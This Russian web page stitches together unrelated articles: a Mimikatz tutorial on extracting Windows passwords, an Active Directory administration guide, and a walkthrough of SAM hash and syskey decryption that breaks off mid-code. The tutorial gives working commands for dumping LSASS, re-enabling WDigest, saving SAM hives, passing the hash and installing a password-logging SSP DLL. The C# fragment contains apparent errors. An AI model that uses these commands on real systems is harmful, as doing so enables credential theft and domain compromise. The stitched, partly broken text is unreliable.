Где хранятся пароли пользователей в windows server

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:Toolsmimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

1. Запустите Mimikatz.exe с правами администратора;
2. В контексте утилиты выполните команды:
   mimikatz # privilege::debug
   
   Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
3. mimikatz # sekurlsa::logonPasswords full
   
   Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:

   anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
   Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:UsersanovachAppDataLocalTemplsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

Обновите GPO:

gpupdate /force

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
   reg save hklmsam c:tmpsam.hiv
reg save hklmsecurity c:tmpsec.hiv
   
2. Затем с помощью Mimikatz извлеките хэши паролей:
   privilege::debug
token::elevate
lsadump::sam c:tmpsam.hiv c:tmpsec.hiv

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:WindowsSystem32.
2. Зарегистрируйте дополнительного провайдер командой:
   reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib" /t REG_MULTI_SZ
   
3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
   Get-Content C:WindowsSystem32kiwissp.log

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

• Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
• Отключите Wdiget;
• Отключить NTLM
• Запретить использование сохранённых паролей в Credential Manager
• Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
• Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
• Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
  reg add "HKLMSYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
  . Можно распространить этот параметр реестра на компьютеры через GPO.
• Используйте Credential Guard для защиты содержимого LSA процесса;
• Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

• Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
• Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
• Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
• Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Александр Емельянов

Администрирование учетных записей в домене Active Directory

Одна из важнейших задач администратора – управление локальными и доменными учетными записями: аудит, квотирование и разграничение прав пользователей в зависимости от их потребностей и политики компании. Что может предложить в этом плане Active Directory?

В продолжение цикла статей об Active Directory сегодня мы поговорим о центральном звене в процессе администрирования – управлении пользовательскими учетными данными в рамках домена. Нами будет рассмотрено:

В конечном итоге вы сможете применить эти материалы для построения рабочей инфраструктуры либо доработки существующей, которая будет отвечать вашим требованиям.

Забегая вперед, скажу, что тема тесно связана с применением групповых политик для административных целей. Но вследствие обширности материала, посвященного им, она будет раскрыта в рамках следующей статьи.

Знакомство с Active Directory – Users and Computers

После того как вы установили свой первый контроллер в домене (тем самым вы собственно и организовали домен), в разделе «Администрирование» появляется пять новых элементов (см. рис. 1).

Рисунок 1. Новые элементы для администрирования домена

Для управления объектами AD используется Active Directory – Пользователи и компьютеры (ADUC – AD Users and Computers, см. рис. 2), которая также может быть вызвана через меню «Выполнить» посредством DSA.MSC.

С помощью ADUC можно создавать и удалять пользователей, назначать сценарии входа для учетной записи, управлять членством в группах и групповыми политиками.

Существует также возможность для управления объектами AD без обращения к серверу напрямую. Ее обеспечивает пакет ADMINPAK.MSI, расположенный в директории «%SYSTEM_DRIVE%Windowssystem32». Развернув его на своей машине и наделив себя правами администратора домена (если таковых не было), вы сможете администрировать домен.

При открытии ADUC мы увидим ветку нашего домена, содержащую пять контейнеров и организационных единиц.

Важно помнить, что объекты групповых политик привязываются исключительно к домену, OU или сайту. Это нужно учитывать при создании административной иерархии вашего домена.

Вводим компьютер в домен

Процедура выполняется непосредственно на локальной машине, которую мы хотим подключить.

Создаем пользователя домена

Пусть мы создали пользователя Иван Иванов в контейнере Users (User Logon Name: ivanov@HQ.local). Если в системах NT 4 это имя играло лишь роль украшения, то в AD оно является частью имени в формате LDAP, которое целиком выглядит так:

cn=»Иван Иванов», cn=»Users», dc=»hq», dc=»local»

Здесь cn – container name, dc – domain component. Описания объектов в формате LDAP используются для выполнения сценариев WSH (Windows Script Hosts) либо для программ, использующих протокол LDAP для связи с Active Directory.

Для входа в домен Иван Иванов должен будет использовать имя в формате UPN (Universal Principal Name): ivanov@hq.local. Также в доменах AD будет понятно написание имени в старом формате NT 4 (пред Win2000), в нашем случае HQIvanov.

При создании учетной записи пользователя ей автоматически присваивается идентификатор защиты (SID, Security Identifier) – уникальный номер, по которому система и определяет пользователей. Это очень важно понимать, так как при удалении учетной записи удаляется и ее SID и никогда не используется повторно. А каждая новая учетная запись будет иметь свой новый SID, именно поэтому она не сможет получить права и привилегии старой.

Учетную запись можно переместить в другой контейнер или OU, отключить или, наоборот, включить, копировать или поменять пароль. Копирование часто применяется для создания нескольких пользователей с одинаковыми параметрами.

Рабочая среда пользователя

Учетные данные, хранящиеся централизованно на сервере, позволяют пользователям однозначно идентифицировать себя в домене и получать соответствующие права и доступ к рабочей среде. Все операционные системы семейства Windows NT используют для создания рабочего окружения на клиентской машине профиль пользователя.

Рассмотрим основные составляющие профиля пользователя:

Если пользователь впервые входит в систему, происходит следующее:

В конечном итоге рабочее окружение пользователя – это объединение его рабочего профиля и профиля All Users, в котором находятся общие для всех пользователей данной машины настройки.

Теперь несколько слов о создании профиля по умолчанию для домена. Создайте фиктивный профиль на своей машине, настройте его в соответствии с вашими нуждами либо с требованиями корпоративной политики. Затем выйдите из системы и снова зайдите как администратор домена. На общем ресурсе NETLOGON-сервера создайте папку Default User. Далее при помощи вкладки User Profiles в апплете System (см. рис. 3) скопируйте ваш профиль в эту папку и предоставьте права на ее использование группе Domain Users или какой-либо другой подходящей группе безопасности. Все, профиль по умолчанию для вашего домена создан.

Рисунок 3. Вкладка «User Profiles» апплета System

Active Directory как гибкая и масштабируемая технология позволяет работать в среде вашего предприятия с перемещаемыми профилями, которые мы рассмотрим далее.

Одновременно с этим будет уместным рассказать о перенаправлении папок как одной из возможностей технологии IntelliMirror для обеспечения отказоустойчивости и централизованного хранения пользовательских данных.

Перемещаемые профили хранятся на сервере. Путь к ним указывается в настройках пользователя домена (см. рис. 4).

Рисунок 4. Здесь указывается путь к перемещаемому профилю

При желании можно указать перемещаемые профили для нескольких пользователей одновременно, выделив нескольких пользователей, и в свойствах во вкладке «Профиль» указать %USERNAME% вместо папки с именем пользователя (см. рис. 5).

Рисунок 5. Путь к перемещаемым профилям нескольких пользователей

Процесс первого входа в систему пользователя, обладающего перемещаемым профилем, сродни описанному выше для локального, за некоторым исключением.

Во-первых, раз путь к профилю в объекте пользователя указан, система проверяет наличие кэшированной локальной копии профиля на машине, далее все, как было описано.

Во-вторых, по завершении работы все изменения копируются на сервер, и если групповыми политиками не указано удалять локальную копию, сохраняются на данной машине. Если же пользователь уже имел локальную копию профиля, то серверная и локальная копии профиля сравниваются, и происходит их объединение.

Технология IntelliMirror в системах Windows последних версий позволяет осуществлять перенаправление определенных папок пользователей, таких как «Мои документы», «Мои рисунки» и др., на сетевой ресурс.

Таким образом, для пользователя все проведенные изменения будут абсолютно прозрачны. Сохраняя документы в папку «Мои документы», которая заведомо будет перенаправлена на сетевой ресурс, он даже и не будет подозревать о том, что все сохраняется на сервер.

Настроить перенаправление можно как вручную для каждого пользователя, так и при помощи групповых политик.

В первом случае нужно кликнуть на иконке «Мои документы» на рабочем столе либо в меню «Пуск» правой кнопкой мыши и выбрать свойства. Дальше все предельно просто.

Во-втором случае нужно открыть групповую политику OU или домена, для которых мы хотим применить перенаправление, и раскрыть иерархию «Конфигурация пользователя ‑> Конфигурация Windows» (см. рис. 6). Далее перенаправление настраивается либо для всех пользователей, либо для определенных групп безопасности OU или домена, к которым эта групповая политика будет применяться.

Рисунок 6. Настройка перенаправления папок при помощи групповых политик

Используя перенаправление папок к работе с перемещаемыми профилями пользователей, можно добиться, например, уменьшения времени загрузки профиля. Это при условии того, что перемещаемый профиль загружается всегда с сервера без использования локальной копии.

Рассказ о технологии перенаправления папок был бы неполон без упоминания об автономных файлах. Они позволяют пользователям работать с документами даже при отсутствии подключения к сети. Синхронизация с серверными копиями документов происходит при следующем подключении компьютера к сети. Такая схема организации будет полезна, например, пользователям ноутбуков, работающих как в рамках локальной сети, так и дома.

К недостаткам перемещаемых профилей можно отнести следующее:

Введение уже существующего пользователя в домен

Зачастую при внедрении службы каталогов в уже существующей сети на базе рабочих групп возникает вопрос о введении пользователя в домен без потери настроек его рабочей среды. Этого можно добиться, используя перемещаемые профили.

Создайте на общем сетевом ресурсе (например, Profiles) на сервере папку с именем пользователя и задайте для нее разрешения на запись для группы Everyone. Пусть она называется HQUser, а полный путь к ней выглядит так: \ServerProfilesHQUser.

Создайте пользователя домена, который будет соответствовать пользователю вашей локальной сети, и в качестве пути к профилю укажите \ServerProfilesHQUser.

На компьютере, содержащем локальный профиль нашего пользователя, нужно войти под учетной записью администратора и при помощи вкладки User Profiles апплета System скопировать его в папку \ServerProfilesHQUser.

Нетрудно понять, что при следующем входе в систему под новой доменной учетной записью наш пользователь загрузит свой рабочий профиль с сервера, и администратору останется лишь решить, оставить этот профиль перемещаемым либо сделать локальным.

Очень часто пользователи загружают ненужной информацией сетевые диски. Чтобы избежать постоянных просьб почистить свои личные папки от ненужного мусора (почему-то он всегда оказывается нужным), можно использовать механизм квотирования. Начиная с Windows 2000 это можно делать стандартными средствами на томах NTFS.

Для включения механизма квотирования и его настройки нужно зайти в свойства локального тома и открыть вкладку «Квота» (Quota) (см. рис. 7).

Рисунок 7. Включение дисковых квот

Далее помечаем «Включить управление квотами» и настраиваем дисковые квоты по умолчанию для всех пользователей, записывающих информацию на этот том.

Также можно посмотреть данные о занимаемом пространстве на диске и настроить квоты отдельно для каждого пользователя (см. рис. 8). Система подсчитывает занимаемое место на диске, основываясь на данных о владельце объектов, суммируя объем принадлежащих ему файлов и папок.

Рисунок 8. Управление дисковыми квотами для отдельных пользователей домена

Группы пользователей в AD

Управление пользователями в рамках домена – задача несложная. Но когда нужно настроить доступ к определенным ресурсам для нескольких десятков (а то и сотен) пользователей, на раздачу прав доступа может уйти уйма времени.

А если возникает необходимость тонко разграничить права участникам нескольких доменов в рамках дерева или леса, перед администратором встает задача сродни задачам из теории множеств. На помощь здесь приходит использование групп.

Основная характеристика групп, встречающихся в рамках домена, была дана в прошлой статье [1], посвященной архитектуре службы каталогов.

Напомню, что локальные группы домена могут включать пользователей своего домена и других доменов в лесу, но область ее действия ограничивается доменом, которому она принадлежит.

Глобальные группы могут включать в себя только пользователей своего домена, но есть возможность их использования для предоставления доступа к ресурсам как в рамках своего, так и другого домена в лесу.

Универсальные группы, соответствуя своему названию, могут содержать пользователей из любого домена и использоваться также для предоставления доступа в рамках всего леса. Не важно, в рамках какого домена универсальная группа будет создана, единственное, стоит учитывать, что при ее перемещении права доступа будут теряться и их необходимо будет переназначить заново.

Чтобы понять описанное выше и основные принципы вложенности групп, рассмотрим пример. Пусть у нас есть лес, содержащий два домена HQ.local и SD.local (какой из них корневой в данном случае, не важно). Каждый из доменов содержит ресурсы, к которым нужно предоставить доступ, и пользователей (см. рис. 9).

Рисунок 9. Предоставление доступа на основе групп

Из рис. 9 видно, что к ресурсам Docs и Distrib должны иметь доступ все пользователи в лесу (зеленые и красные линии), поэтому мы можем создать универсальную группу, содержащую пользователей из обоих доменов, и использовать ее при указании разрешений на доступ к обоим ресурсам. Либо мы можем создать две глобальные группы в каждом домене, которые будут содержать пользователей только своего домена, и включить их в универсальную группу. Любую из этих глобальных групп также можно использовать для назначения прав.

Доступ к каталогу Base должны иметь пользователи только из домена HQ.local (синие линии), поэтому мы включим их в локальную доменную группу, и этой группе предоставим доступ.

Каталогом Distrib будут иметь право пользоваться как члены домена HQ.local, так и члены домена SD.local (оранжевые линии на рис. 9). Поэтому пользователей Manager и Salary мы можем добавить в глобальную группу домена HQ.local, а затем эту группу добавить в локальную группу домена SD.local вместе с пользователем IT. Затем этой локальной группе и предоставить доступ к ресурсу Distrib.

Сейчас мы рассмотрим вложенность этих групп подробнее и рассмотрим еще один тип групп – встроенные локальные доменные группы.

В таблице показано, какие группы в какие могут быть вложены. Здесь по горизонтали расположены группы, в которые вкладываются группы, расположенные по вертикали. Плюс означает, что один вид групп может быть вложен в другой, минус – нет.

На каком-то ресурсе в Интернете, посвященном сертификационным экзаменам Microsoft, я увидел упоминание о такой формуле – AGUDLP, что значит: учетные записи (Account) помещаются в глобальные группы (Global), которые помещаются в универсальные (Universal), которые помещаются в локальные доменные группы (Domain Local), к которым и применяются разрешения (Permissions). Эта формула в полной мере описывает возможность вложенности. Следует добавить, что все эти виды могут быть вложены в локальные группы отдельно взятой машины (локальные доменные исключительно в рамках своего домена).

Источник

Adblock
detector

Рубрика: Администрирование / Администрирование

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.

V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLMSAMSAMDomainsAccountusers[RID]V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:WindowsSystem32configSAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLMSAMSAMDomainsAccountusersnames<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:

От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLMSAMSAMDomainsAccountusers\V в виде массива байт.
Еще про V-блок можно почитать тут.

Алгоритмы

Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID’ов пользователей, расшифровываем хэши DES’ом
3. Полученые хэши атакуем перебором.

Bootkey

Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:

HKLMSystemCurrentControlSetControlLsaJD
HKLMSystemCurrentControlSetControlLsaSkew1
HKLMSystemCurrentControlSetControlLsaGBG
HKLMSystemCurrentControlSetControlLsaData

Раздел system находится в файле c:WindowsSystem32configsystem

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLMSYSTEMSelectdefault.
например если HKLMSYSTEMSelectdefault = 1 — вместо HKLMSystemCurrentControlSet ищем в HKLMSystemcontrolset001

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaJD
Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46}
Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSkew1
Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0}
Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaGBG
Class Name: 4d183449 = {0x49,0x34,0x18,0x4d}
Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaData
Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}

Собраный из четырех частей ключ будет массивом байт:

scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};

Далее элементы этого массива переставляются на основе некоторого константного массива p

int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };
Элементы в этом массиве определяют позиции для перестановок, т.е.

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey

для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
string anum = "0123456789012345678901234567890123456789";
Также понадобится F-блок пользователя (HKLMSAMSAMDomainsAccountusers\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

hashedBootkey = RC4(rc4_key,F[0x80:0xA0])

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey

для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу

DES

На основе четырех байт RID’а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key(byte[] str) {
byte[] key = new byte[8];
